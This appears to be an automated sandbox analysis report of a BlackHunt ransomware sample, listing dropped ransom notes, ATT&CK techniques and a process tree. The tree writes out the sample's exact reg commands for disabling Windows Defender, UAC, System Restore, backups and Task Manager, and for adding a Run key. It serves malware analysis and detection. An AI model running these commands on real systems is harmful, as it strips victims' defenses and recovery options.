File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-5	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Anchorage	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Vienna	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.common_5.5.0.165303.jar	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-loaders_zh_CN.jar	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-bootstrap.xml	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\#BlackHunt_ReadMe.txt	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\Java\jre7\lib\management\#BlackHunt_Private.key	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\vlc.mo	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\packetizer\#BlackHunt_Private.key	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Chatham	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Montreal	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-api_ja.jar	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nn\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#BlackHunt_ReadMe.txt	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\Java\jre7\bin\server\#BlackHunt_ReadMe.txt	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-util-enumerations.xml	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\#BlackHunt_Private.key	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\license.html	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Indiana\#BlackHunt_Private.key	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_videoinset.png	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Rothera	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground_PAL.wmv	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground_PAL.wmv	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Oslo	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-awt.jar	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files (x86)\#BlackHunt_Private.key	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_out\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Dawson_Creek	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dubai	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1700	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2040	vssadmin.exe
1980	vssadmin.exe
1036	vssadmin.exe
2120	vssadmin.exe
1884	vssadmin.exe
2188	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3092	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	bcdedit.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	bcdedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	bcdedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	bcdedit.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3316	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3276	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
Token: SeRestorePrivilege	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
Token: SeBackupPrivilege	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
Token: SeTakeOwnershipPrivilege	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
Token: SeAuditPrivilege	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
Token: SeSecurityPrivilege	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
Token: SeIncBasePriorityPrivilege	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
Token: SeBackupPrivilege	2836	vssvc.exe
Token: SeRestorePrivilege	2836	vssvc.exe
Token: SeAuditPrivilege	2836	vssvc.exe
Token: SeBackupPrivilege	2208	wbengine.exe
Token: SeRestorePrivilege	2208	wbengine.exe
Token: SeSecurityPrivilege	2208	wbengine.exe
Token: SeSecurityPrivilege	2164	wevtutil.exe
Token: SeBackupPrivilege	2164	wevtutil.exe
Token: SeSecurityPrivilege	2532	wevtutil.exe
Token: SeBackupPrivilege	2532	wevtutil.exe
Token: SeSecurityPrivilege	2624	wevtutil.exe
Token: SeBackupPrivilege	2624	wevtutil.exe
Token: SeSecurityPrivilege	836	wevtutil.exe
Token: SeBackupPrivilege	836	wevtutil.exe
Token: SeSecurityPrivilege	1568	wevtutil.exe
Token: SeBackupPrivilege	1568	wevtutil.exe
Token: SeDebugPrivilege	3092	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1360 wrote to memory of 2688	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	29
PID 1360 wrote to memory of 2688	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	29
PID 1360 wrote to memory of 2688	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	29
PID 1360 wrote to memory of 2688	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	29
PID 1360 wrote to memory of 1508	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	152
PID 1360 wrote to memory of 1508	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	152
PID 1360 wrote to memory of 1508	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	152
PID 1360 wrote to memory of 1508	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	152
PID 1360 wrote to memory of 2852	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	30
PID 1360 wrote to memory of 2852	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	30
PID 1360 wrote to memory of 2852	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	30
PID 1360 wrote to memory of 2852	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	30
PID 1360 wrote to memory of 2988	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	150
PID 1360 wrote to memory of 2988	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	150
PID 1360 wrote to memory of 2988	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	150
PID 1360 wrote to memory of 2988	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	150
PID 1360 wrote to memory of 2756	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	33
PID 1360 wrote to memory of 2756	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	33
PID 1360 wrote to memory of 2756	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	33
PID 1360 wrote to memory of 2756	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	33
PID 1508 wrote to memory of 2276	1508	cmd.exe	148
PID 1508 wrote to memory of 2276	1508	cmd.exe	148
PID 1508 wrote to memory of 2276	1508	cmd.exe	148
PID 2688 wrote to memory of 2676	2688	cmd.exe	35
PID 2688 wrote to memory of 2676	2688	cmd.exe	35
PID 2688 wrote to memory of 2676	2688	cmd.exe	35
PID 2988 wrote to memory of 2872	2988	cmd.exe	106
PID 2988 wrote to memory of 2872	2988	cmd.exe	106
PID 2988 wrote to memory of 2872	2988	cmd.exe	106
PID 2852 wrote to memory of 2596	2852	cmd.exe	36
PID 2852 wrote to memory of 2596	2852	cmd.exe	36
PID 2852 wrote to memory of 2596	2852	cmd.exe	36
PID 1360 wrote to memory of 3064	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	38
PID 1360 wrote to memory of 3064	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	38
PID 1360 wrote to memory of 3064	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	38
PID 1360 wrote to memory of 3064	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	38
PID 1360 wrote to memory of 2908	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	39
PID 1360 wrote to memory of 2908	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	39
PID 1360 wrote to memory of 2908	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	39
PID 1360 wrote to memory of 2908	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	39
PID 1360 wrote to memory of 2560	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	40
PID 1360 wrote to memory of 2560	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	40
PID 1360 wrote to memory of 2560	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	40
PID 1360 wrote to memory of 2560	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	40
PID 1360 wrote to memory of 2572	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	42
PID 1360 wrote to memory of 2572	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	42
PID 1360 wrote to memory of 2572	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	42
PID 1360 wrote to memory of 2572	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	42
PID 2756 wrote to memory of 2608	2756	cmd.exe	146
PID 2756 wrote to memory of 2608	2756	cmd.exe	146
PID 2756 wrote to memory of 2608	2756	cmd.exe	146
PID 1360 wrote to memory of 2616	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	145
PID 1360 wrote to memory of 2616	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	145
PID 1360 wrote to memory of 2616	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	145
PID 1360 wrote to memory of 2616	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	145
PID 1360 wrote to memory of 2636	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	50
PID 1360 wrote to memory of 2636	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	50
PID 1360 wrote to memory of 2636	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	50
PID 1360 wrote to memory of 2636	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	50
PID 1360 wrote to memory of 2476	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	94
PID 1360 wrote to memory of 2476	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	94
PID 1360 wrote to memory of 2476	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	94
PID 1360 wrote to memory of 2476	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	94
PID 1360 wrote to memory of 2860	1360	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe	45

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
"C:\Users\Admin\AppData\Local\Temp\ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1376
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2920
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
      4⤵
      PID:1332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2268
- C:\Windows\System32\cmd.exe
